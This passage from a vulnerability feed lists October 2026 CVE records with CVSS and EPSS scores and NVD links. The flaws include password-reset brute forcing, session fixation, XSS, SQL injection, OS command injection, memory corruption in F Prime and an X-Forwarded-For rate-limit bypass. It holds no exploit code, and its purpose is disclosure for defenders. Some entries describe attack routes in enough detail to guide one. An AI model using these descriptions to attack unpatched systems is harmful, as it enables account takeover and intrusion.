Databasus 3.7.0 through 3.61.0 contains an authentication bypass vulnerability that allows unauthenticated attackers to brute-force password reset codes via POST /api/v1/users/reset-password. Attackers can request a six-digit code for a known email, then guess it without rate limiting, lockout, or invalidation to take over accounts, including administrators.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Omnispace Agora Project before 26.10.0 contains a session fixation vulnerability that allows remote attackers to hijack authenticated sessions by planting a known session...
https://kevwire.com/record/CVE-2026-63161
Omnispace Agora Project before 26.10.0 contains a session fixation vulnerability that allows remote attackers to hijack authenticated sessions by planting a known session... (Oct 13, 2026).
Omnispace Agora Project before 26.10.0 contains a session fixation vulnerability that allows remote attackers to hijack authenticated sessions by planting a known session identifier in a victim's browser prior to login. Attackers can exploit the application's failure to regenerate the session id upon successful authentication to gain unauthorized access to the victim's authenticated session after they log in.
CVSS 8.6 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63161).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63161&date=2026-10-25).
Sources:
NVD CVE-2026-63161: https://nvd.nist.gov/vuln/detail/CVE-2026-63161
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63161&date=2026-10-25
Omnispace Agora Project before 26.10.0 contains a session fixation vulnerability that allows remote attackers to hijack authenticated sessions by planting a known session identifier in a victim's browser prior to login. Attackers can exploit the application's failure to regenerate the session id upon successful authentication to gain unauthorized access to the victim's authenticated session after they log in.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Document Gallery WordPress plugin through 5.1.1 does not properly sanitise and escape user input before reflecting it inside an HTML attribute in the response of an...
https://kevwire.com/record/CVE-2026-74920
The Document Gallery WordPress plugin through 5.1.1 does not properly sanitise and escape user input before reflecting it inside an HTML attribute in the response of an... (Oct 15, 2026).
The Document Gallery WordPress plugin through 5.1.1 does not properly sanitise and escape user input before reflecting it inside an HTML attribute in the response of an unauthenticated AJAX action, leading to a Reflected Cross-Site Scripting vulnerability which can be exploited against any visitor, including a logged-in administrator.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-74920).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-74920&date=2026-10-25).
Sources:
NVD CVE-2026-74920: https://nvd.nist.gov/vuln/detail/CVE-2026-74920
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-74920&date=2026-10-25
The Document Gallery WordPress plugin through 5.1.1 does not properly sanitise and escape user input before reflecting it inside an HTML attribute in the response of an unauthenticated AJAX action, leading to a Reflected Cross-Site Scripting vulnerability which can be exploited against any visitor, including a logged-in administrator.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Tutor LMS  WordPress plugin before 4.1.1 does not perform a capability check in a routine that regenerates its managed pages, allowing unauthenticated users to force-publish...
https://kevwire.com/record/CVE-2026-96537
The Tutor LMS  WordPress plugin before 4.1.1 does not perform a capability check in a routine that regenerates its managed pages, allowing unauthenticated users to force-publish... (Oct 15, 2026).
The Tutor LMS  WordPress plugin before 4.1.1 does not perform a capability check in a routine that regenerates its managed pages, allowing unauthenticated users to force-publish unpublished pages and overwrite their content, create missing ones, and change the options that reference them.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96537).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96537&date=2026-10-25).
Sources:
NVD CVE-2026-96537: https://nvd.nist.gov/vuln/detail/CVE-2026-96537
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96537&date=2026-10-25
The Tutor LMS  WordPress plugin before 4.1.1 does not perform a capability check in a routine that regenerates its managed pages, allowing unauthenticated users to force-publish unpublished pages and overwrite their content, create missing ones, and change the options that reference them.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SimplyRETS SimplyRETS Real Estate IDX simply-rets allows Reflected XSS.This...
https://kevwire.com/record/CVE-2026-105066
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SimplyRETS SimplyRETS Real Estate IDX simply-rets allows Reflected XSS.This... (Oct 14, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SimplyRETS SimplyRETS Real Estate IDX simply-rets allows Reflected XSS.This issue affects SimplyRETS Real Estate IDX: from n/a through 3.2.9.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105066).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105066&date=2026-10-25).
Sources:
NVD CVE-2026-105066: https://nvd.nist.gov/vuln/detail/CVE-2026-105066
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105066&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SimplyRETS SimplyRETS Real Estate IDX simply-rets allows Reflected XSS.This issue affects SimplyRETS Real Estate IDX: from n/a through 3.2.9.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authorization Bypass Through User-Controlled Key vulnerability in Webba Plugins Webba Booking webba-booking-lite allows Exploiting Incorrectly Configured Access Control Security...
https://kevwire.com/record/CVE-2026-107416
Authorization Bypass Through User-Controlled Key vulnerability in Webba Plugins Webba Booking webba-booking-lite allows Exploiting Incorrectly Configured Access Control Security... (Oct 15, 2026).
Authorization Bypass Through User-Controlled Key vulnerability in Webba Plugins Webba Booking webba-booking-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Webba Booking: from n/a through 6.5.2.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107416).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107416&date=2026-10-25).
Sources:
NVD CVE-2026-107416: https://nvd.nist.gov/vuln/detail/CVE-2026-107416
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107416&date=2026-10-25
Authorization Bypass Through User-Controlled Key vulnerability in Webba Plugins Webba Booking webba-booking-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Webba Booking: from n/a through 6.5.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Everest Forms Everest Forms everest-forms allows Stored XSS.This issue...
https://kevwire.com/record/CVE-2026-108491
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Everest Forms Everest Forms everest-forms allows Stored XSS.This issue... (Oct 15, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Everest Forms Everest Forms everest-forms allows Stored XSS.This issue affects Everest Forms: from n/a through 3.6.1.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108491).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108491&date=2026-10-25).
Sources:
NVD CVE-2026-108491: https://nvd.nist.gov/vuln/detail/CVE-2026-108491
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108491&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Everest Forms Everest Forms everest-forms allows Stored XSS.This issue affects Everest Forms: from n/a through 3.6.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in bannersky BSK PDF Manager bsk-pdf-manager allows Stored XSS.This issue...
https://kevwire.com/record/CVE-2026-108498
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in bannersky BSK PDF Manager bsk-pdf-manager allows Stored XSS.This issue... (Oct 15, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in bannersky BSK PDF Manager bsk-pdf-manager allows Stored XSS.This issue affects BSK PDF Manager: from n/a through 3.8.1.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108498).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108498&date=2026-10-25).
Sources:
NVD CVE-2026-108498: https://nvd.nist.gov/vuln/detail/CVE-2026-108498
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108498&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in bannersky BSK PDF Manager bsk-pdf-manager allows Stored XSS.This issue affects BSK PDF Manager: from n/a through 3.8.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing Authorization vulnerability in ThemeGrill User Registration user-registration allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects...
https://kevwire.com/record/CVE-2026-109692
Missing Authorization vulnerability in ThemeGrill User Registration user-registration allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects... (Oct 15, 2026).
Missing Authorization vulnerability in ThemeGrill User Registration user-registration allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects User Registration: from n/a through 5.2.8.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109692).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109692&date=2026-10-25).
Sources:
NVD CVE-2026-109692: https://nvd.nist.gov/vuln/detail/CVE-2026-109692
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109692&date=2026-10-25
Missing Authorization vulnerability in ThemeGrill User Registration user-registration allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects User Registration: from n/a through 5.2.8.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Kitae Park Mang Board WP mangboard allows SQL Injection.This issue affects...
https://kevwire.com/record/CVE-2026-109698
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Kitae Park Mang Board WP mangboard allows SQL Injection.This issue affects... (Oct 15, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Kitae Park Mang Board WP mangboard allows SQL Injection.This issue affects Mang Board WP: from n/a through 2.4.4.
CVSS 9.3 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109698).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109698&date=2026-10-25).
Sources:
NVD CVE-2026-109698: https://nvd.nist.gov/vuln/detail/CVE-2026-109698
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109698&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Kitae Park Mang Board WP mangboard allows SQL Injection.This issue affects Mang Board WP: from n/a through 2.4.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect Privilege Assignment vulnerability in Shabti Kaplan Frontend Admin by DynamiApps acf-frontend-form-element allows Privilege Escalation.This issue affects Frontend Admin...
https://kevwire.com/record/CVE-2026-109892
Incorrect Privilege Assignment vulnerability in Shabti Kaplan Frontend Admin by DynamiApps acf-frontend-form-element allows Privilege Escalation.This issue affects Frontend Admin... (Oct 15, 2026).
Incorrect Privilege Assignment vulnerability in Shabti Kaplan Frontend Admin by DynamiApps acf-frontend-form-element allows Privilege Escalation.This issue affects Frontend Admin by DynamiApps: from n/a through 3.29.13.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109892).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109892&date=2026-10-25).
Sources:
NVD CVE-2026-109892: https://nvd.nist.gov/vuln/detail/CVE-2026-109892
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109892&date=2026-10-25
Incorrect Privilege Assignment vulnerability in Shabti Kaplan Frontend Admin by DynamiApps acf-frontend-form-element allows Privilege Escalation.This issue affects Frontend Admin by DynamiApps: from n/a through 3.29.13.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in cemtan sar2html 4.0.0. Affected by this vulnerability is an unknown functionality of the file sar2html.py.
https://kevwire.com/record/CVE-2026-110667
A security flaw has been discovered in cemtan sar2html 4.0.0. Affected by this vulnerability is an unknown functionality of the file sar2html.py. (Oct 14, 2026).
A security flaw has been discovered in cemtan sar2html 4.0.0. Affected by this vulnerability is an unknown functionality of the file sar2html.py. The manipulation of the argument SECRET_KEY results in hard-coded credentials. The attack can be executed remotely. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 6.9 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110667).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110667&date=2026-10-25).
Sources:
NVD CVE-2026-110667: https://nvd.nist.gov/vuln/detail/CVE-2026-110667
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110667&date=2026-10-25
A security flaw has been discovered in cemtan sar2html 4.0.0. Affected by this vulnerability is an unknown functionality of the file sar2html.py. The manipulation of the argument SECRET_KEY results in hard-coded credentials. The attack can be executed remotely. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in OAID Tengine up to 1.12.0. This vulnerability affects the function get_tm_file_model of the file source/serializer/tmfile/tm2_serializer.c of the...
https://kevwire.com/record/CVE-2026-110694
A vulnerability has been found in OAID Tengine up to 1.12.0. This vulnerability affects the function get_tm_file_model of the file source/serializer/tmfile/tm2_serializer.c of the... (Oct 14, 2026).
A vulnerability has been found in OAID Tengine up to 1.12.0. This vulnerability affects the function get_tm_file_model of the file source/serializer/tmfile/tm2_serializer.c of the component tmfile Model Loader. Such manipulation of the argument offset_root leads to out-of-bounds read. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110694).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110694&date=2026-10-25).
Sources:
NVD CVE-2026-110694: https://nvd.nist.gov/vuln/detail/CVE-2026-110694
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110694&date=2026-10-25
A vulnerability has been found in OAID Tengine up to 1.12.0. This vulnerability affects the function get_tm_file_model of the file source/serializer/tmfile/tm2_serializer.c of the component tmfile Model Loader. Such manipulation of the argument offset_root leads to out-of-bounds read. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The FV Flowplayer Video Player plugin for WordPress is vulnerable to Limited Arbitrary File Upload in all versions up to, and including, 7.5.54.7212 via the check_mimetype...
https://kevwire.com/record/CVE-2026-86461
The FV Flowplayer Video Player plugin for WordPress is vulnerable to Limited Arbitrary File Upload in all versions up to, and including, 7.5.54.7212 via the check_mimetype... (Oct 14, 2026).
The FV Flowplayer Video Player plugin for WordPress is vulnerable to Limited Arbitrary File Upload in all versions up to, and including, 7.5.54.7212 via the check_mimetype function. This is due to incomplete file type validation in the check_mimetype function — while some extension checking is present, it can be bypassed, allowing attacker-supplied remote file content to be written with insufficient extension enforcement and no MIME check or WordPress upload helper. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. Exploitation requires the plugin's 'profile videos on bio' option to be enabled, as this causes the nonce to be emitted on the subscriber-accessible profile page; without this setting, authenticated users below Editor cannot obtain the required nonce.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86461).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86461&date=2026-10-25).
Sources:
NVD CVE-2026-86461: https://nvd.nist.gov/vuln/detail/CVE-2026-86461
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86461&date=2026-10-25
The FV Flowplayer Video Player plugin for WordPress is vulnerable to Limited Arbitrary File Upload in all versions up to, and including, 7.5.54.7212 via the check_mimetype function. This is due to incomplete file type validation in the check_mimetype function — while some extension checking is present, it can be bypassed, allowing attacker-supplied remote file content to be written with insufficient extension enforcement and no MIME check or WordPress upload helper. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. Exploitation requires the plugin's 'profile videos on bio' option to be enabled, as this causes the nonce to be emitted on the subscriber-accessible profile page; without this setting, authenticated users below Editor cannot obtain the required nonce.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications.
https://kevwire.com/record/CVE-2026-92152
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. (Oct 14, 2026).
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. From 4.1.0 until 4.2.0, Svc::GenericHub output-port dispatch is vulnerable because the deserialized port field is passed to serialOut_out, bufferOut_out, eventOut_out, or tlmOut_out without an explicit range check. When a remote hub packet supplies a port index outside the configured output-port array, assert-enabled builds abort, while builds without assertions can access an output-port array out of bounds, corrupt heap memory, and potentially allow remote code execution. This issue is fixed in version 4.2.0.
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92152).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92152&date=2026-10-25).
Sources:
NVD CVE-2026-92152: https://nvd.nist.gov/vuln/detail/CVE-2026-92152
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92152&date=2026-10-25
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. From 4.1.0 until 4.2.0, Svc::GenericHub output-port dispatch is vulnerable because the deserialized port field is passed to serialOut_out, bufferOut_out, eventOut_out, or tlmOut_out without an explicit range check. When a remote hub packet supplies a port index outside the configured output-port array, assert-enabled builds abort, while builds without assertions can access an output-port array out of bounds, corrupt heap memory, and potentially allow remote code execution. This issue is fixed in version 4.2.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications.
https://kevwire.com/record/CVE-2026-92158
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. (Oct 14, 2026).
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Svc::FpySequencer STORE directive stack write validation the bounds check adds attacker-controlled offset and size before memcpy, allowing integer wraparound to make an out-of-range destination appear valid. When a sequence-controlled STORE directive supplies a stack offset and size whose U32 sum wraps, memcpy can write outside the sequencer stack, causing memory corruption, denial of service, and potentially code execution. This issue is fixed in version 4.2.0.
CVSS 7.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92158).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92158&date=2026-10-25).
Sources:
NVD CVE-2026-92158: https://nvd.nist.gov/vuln/detail/CVE-2026-92158
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92158&date=2026-10-25
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Svc::FpySequencer STORE directive stack write validation the bounds check adds attacker-controlled offset and size before memcpy, allowing integer wraparound to make an out-of-range destination appear valid. When a sequence-controlled STORE directive supplies a stack offset and size whose U32 sum wraps, memcpy can write outside the sequencer stack, causing memory corruption, denial of service, and potentially code execution. This issue is fixed in version 4.2.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authentication for critical function vulnerability in TR7 Cyber ​​Defense Inc.
https://kevwire.com/record/CVE-2026-16740
Missing authentication for critical function vulnerability in TR7 Cyber ​​Defense Inc. (Oct 14, 2026).
Missing authentication for critical function vulnerability in TR7 Cyber ​​Defense Inc. TR7 ASP on virtual appliance and TR7 Cyber ​​Defense Inc. TR7 ASP on physical appliance allows OS Command Injection.

This issue affects TR7 ASP: from 1.0.40.236 before 1.0.1554.2331; TR7 ASP: from 1.6.42.239 before 1.6.1554.2331.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-16740).
EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-16740&date=2026-10-25).
Sources:
NVD CVE-2026-16740: https://nvd.nist.gov/vuln/detail/CVE-2026-16740
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-16740&date=2026-10-25
Missing authentication for critical function vulnerability in TR7 Cyber ​​Defense Inc. TR7 ASP on virtual appliance and TR7 Cyber ​​Defense Inc. TR7 ASP on physical appliance allows OS Command Injection.

This issue affects TR7 ASP: from 1.0.40.236 before 1.0.1554.2331; TR7 ASP: from 1.6.42.239 before 1.6.1554.2331.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in TR7 Cyber ​​Defense Inc.
https://kevwire.com/record/CVE-2026-16741
Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in TR7 Cyber ​​Defense Inc. (Oct 14, 2026).
Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in TR7 Cyber ​​Defense Inc. TR7 ASP on virtual appliance and TR7 Cyber ​​Defense Inc. TR7 ASP on physical appliance allows OS Command Injection.

This issue affects TR7 ASP: from 1.0.40.236 before 1.0.1554.2331; TR7 ASP: from 1.6.42.239 before 1.6.1554.2331.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-16741).
EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-16741&date=2026-10-25).
Sources:
NVD CVE-2026-16741: https://nvd.nist.gov/vuln/detail/CVE-2026-16741
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-16741&date=2026-10-25
Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in TR7 Cyber ​​Defense Inc. TR7 ASP on virtual appliance and TR7 Cyber ​​Defense Inc. TR7 ASP on physical appliance allows OS Command Injection.

This issue affects TR7 ASP: from 1.0.40.236 before 1.0.1554.2331; TR7 ASP: from 1.6.42.239 before 1.6.1554.2331.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In `api-gateway` versions till `1.7.3`, The default rate-limit key resolver, `ClientIpKeyResolver`, derives the per-client bucket key from the leftmost element of the...
https://kevwire.com/record/CVE-2026-110723
In `api-gateway` versions till `1.7.3`, The default rate-limit key resolver, `ClientIpKeyResolver`, derives the per-client bucket key from the leftmost element of the... (Oct 15, 2026).
In `api-gateway` versions till `1.7.3`, The default rate-limit key resolver, `ClientIpKeyResolver`, derives the per-client bucket key from the leftmost element of the `X-Forwarded-For` request header. That element is supplied by the originating HTTP client and is not validated against any trusted-proxy list. A single attacker can therefore obtain an unlimited number of independent rate-limit buckets — one per unique header value — and completely bypass the gateway's request-rate limiting on every route that uses the shipped default configuration.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110723).
